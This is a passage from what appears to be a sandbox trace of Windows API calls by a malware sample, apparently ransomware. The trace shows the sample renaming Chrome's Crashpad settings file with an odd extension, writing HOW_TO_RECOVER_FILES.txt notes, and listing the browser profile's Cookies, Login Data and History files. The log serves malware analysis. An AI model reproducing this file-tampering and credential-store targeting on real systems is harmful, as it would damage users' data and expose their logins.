hFile=0x63c, lpBuffer=0x36934f8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x1f6ea848, lpOverlapped=0x0 | out: lpBuffer=0x36934f8*, lpNumberOfBytesWritten=0x1f6ea848*=0x30, lpOverlapped=0x0) returned 1 [0160.537] CloseHandle (hObject=0x63c) returned 1 [0160.537] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\settings.dat", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\settings.dat", lpFilePart=0x0) returned 0x4b [0160.537] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\settings.dat.gоod", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\settings.dat.gоod", lpFilePart=0x0) returned 0x50 [0160.537] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea970) returned 1 [0160.537] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\settings.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\crashpad\\settings.dat"), fInfoLevelId=0x0, lpFileInformation=0x1f6eaa50 | out: lpFileInformation=0x1f6eaa50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a42fd3b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4a42fd3b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5be57615, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x30)) returned 1 [0160.538] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea930) returned 1 [0160.538] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\settings.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\crashpad\\settings.dat"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\settings.dat.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\crashpad\\settings.dat.gоod")) returned 1 [0160.539] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea1d0) returned 1 [0160.539] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports", nBufferLength=0x105, lpBuffer=0x1f6e9c70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports", lpFilePart=0x0) returned 0x46 [0160.539] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports\\*", lpFindFileData=0x1f6e9ef0 | out: lpFindFileData=0x1f6e9ef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a42fd3b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4a42fd3b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4a42fd3b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0160.539] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a42fd3b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4a42fd3b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4a42fd3b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0160.539] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a42fd3b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4a42fd3b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4a42fd3b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0160.540] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0160.540] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea110) returned 1 [0160.540] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea0d0) returned 1 [0160.540] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea1d0) returned 1 [0160.540] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports", nBufferLength=0x105, lpBuffer=0x1f6e9c70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports", lpFilePart=0x0) returned 0x46 [0160.540] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports\\*", lpFindFileData=0x1f6e9ef0 | out: lpFindFileData=0x1f6e9ef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a42fd3b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4a42fd3b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4a42fd3b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0160.540] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a42fd3b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4a42fd3b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4a42fd3b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0160.540] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a42fd3b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4a42fd3b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4a42fd3b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0160.540] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0160.540] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea110) returned 1 [0160.540] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea0d0) returned 1 [0160.540] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6e9c20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x5f [0160.540] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea140) returned 1 [0160.541] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\crashpad\\reports\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x63c [0160.541] GetFileType (hFile=0x63c) returned 0x1 [0160.541] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea0b0) returned 1 [0160.541] GetFileType (hFile=0x63c) returned 0x1 [0160.542] WriteFile (in: hFile=0x63c, lpBuffer=0x36a49b8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6ea208, lpOverlapped=0x0 | out: lpBuffer=0x36a49b8*, lpNumberOfBytesWritten=0x1f6ea208*=0x5d0, lpOverlapped=0x0) returned 1 [0160.543] CloseHandle (hObject=0x63c) returned 1 [0160.543] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6ea650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x57 [0160.543] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eab70) returned 1 [0160.543] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\crashpad\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x640 [0162.258] GetFileType (hFile=0x640) returned 0x1 [0162.289] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eaae0) returned 1 [0162.289] GetFileType (hFile=0x640) returned 0x1 [0162.290] WriteFile (in: hFile=0x640, lpBuffer=0x3619c30*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6eac38, lpOverlapped=0x0 | out: lpBuffer=0x3619c30*, lpNumberOfBytesWritten=0x1f6eac38*=0x5d0, lpOverlapped=0x0) returned 1 [0162.291] CloseHandle (hObject=0x640) returned 1 [0162.291] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eac00) returned 1 [0162.291] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default", nBufferLength=0x105, lpBuffer=0x1f6ea6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default", lpFilePart=0x0) returned 0x3d [0162.291] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\*", lpFindFileData=0x1f6ea920 | out: lpFindFileData=0x1f6ea920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50c2e339, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xfa82ac98, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xfa82ac98, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0162.308] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50c2e339, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xfa82ac98, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xfa82ac98, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.309] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5172d381, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5172d381, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x517321bc, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1 [0162.309] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5295d523, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5295d523, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xfa98218f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0162.309] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5295fc2f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5295fc2f, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xfa9ce7a0, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cookies-journal", cAlternateFileName="COOKIE~1")) returned 1 [0162.309] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5296986b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xe8be630f, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xfa6610ba, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x212, dwReserved0=0x0, dwReserved1=0x0, cFileName="Current Session", cAlternateFileName="CURREN~1")) returned 1 [0162.309] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5776f89b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xfa7b85d6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xfa7b85d6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x16a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Current Tabs", cAlternateFileName="CURREN~2")) returned 1 [0162.309] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5179d880, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xe76dafa5, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe76dafa5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="data_reduction_proxy_leveldb", cAlternateFileName="DATA_R~1")) returned 1 [0162.309] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52964a42, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xe8bc8e63, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8bc8e63, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Extension Rules", cAlternateFileName="EXTENS~2")) returned 1 [0162.310] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53b52d0c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xeb6ec148, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xeb6ec148, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Extension State", cAlternateFileName="EXTENS~3")) returned 1 [0162.310] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5270720f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xf9458ec6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xf9458ec6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Extensions", cAlternateFileName="EXTENS~1")) returned 1 [0162.310] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5242d194, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5242d194, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x527b211b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Favicons", cAlternateFileName="")) returned 1 [0162.310] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5242f8b3, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5242f8b3, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x529538f7, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Favicons-journal", cAlternateFileName="FAVICO~1")) returned 1 [0162.310] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x513a1ab9, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x513a1ab9, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5179d880, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x2b2e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Google Profile.ico", cAlternateFileName="GOOGLE~1.ICO")) returned 1 [0162.310] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x514606bb, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x514606bb, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5234a080, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x1c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1 [0162.310] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa82ac98, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xfa82ac98, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xfa82ac98, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x6, dwReserved0=0x0, dwReserved1=0x0, cFileName="History Provider Cache", cAlternateFileName="HISTOR~2")) returned 1 [0162.311] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x514606bb, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x514606bb, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x523d5309, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="History-journal", cAlternateFileName="HISTOR~1")) returned 1 [0162.311] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5296986b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5296986b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5753349f, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x1e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Last Session", cAlternateFileName="LASTSE~1")) returned 1 [0162.311] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5776f89b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5776f89b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5776f89b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x132, dwReserved0=0x0, dwReserved1=0x0, cFileName="Last Tabs", cAlternateFileName="LASTTA~1")) returned 1 [0162.311] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xead47a83, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xead47a83, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xead47a83, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local Extension Settings", cAlternateFileName="LOCALE~1")) returned 1 [0162.311] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb024218, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeb024218, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xeb024218, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local Storage", cAlternateFileName="LOCALS~1")) returned 1 [0162.311] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52319328, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x52319328, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xe75cff11, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Login Data", cAlternateFileName="LOGIND~1")) returned 1 [0162.311] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5231ba4e, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5231ba4e, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xe761c3cc, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Login Data-journal", cAlternateFileName="LOGIND~2")) returned 1 [0162.312] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5292eec7, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5292eec7, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x53b5f051, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network Action Predictor", cAlternateFileName="NETWOR~1")) returned 1 [0162.312] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x529315f0, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x529315f0, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x53d9f3c2, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network Action Predictor-journal", cAlternateFileName="NETWOR~2")) returned 1 [0162.312] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54135456, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x54135456, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xec432c10, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Origin Bound Certs", cAlternateFileName="ORIGIN~1")) returned 1 [0162.312] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54135456, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x54135456, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xec45ead4, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Origin Bound Certs-journal", cAlternateFileName="ORIGIN~2")) returned 1 [0162.312] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50c545a2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xfa792330, 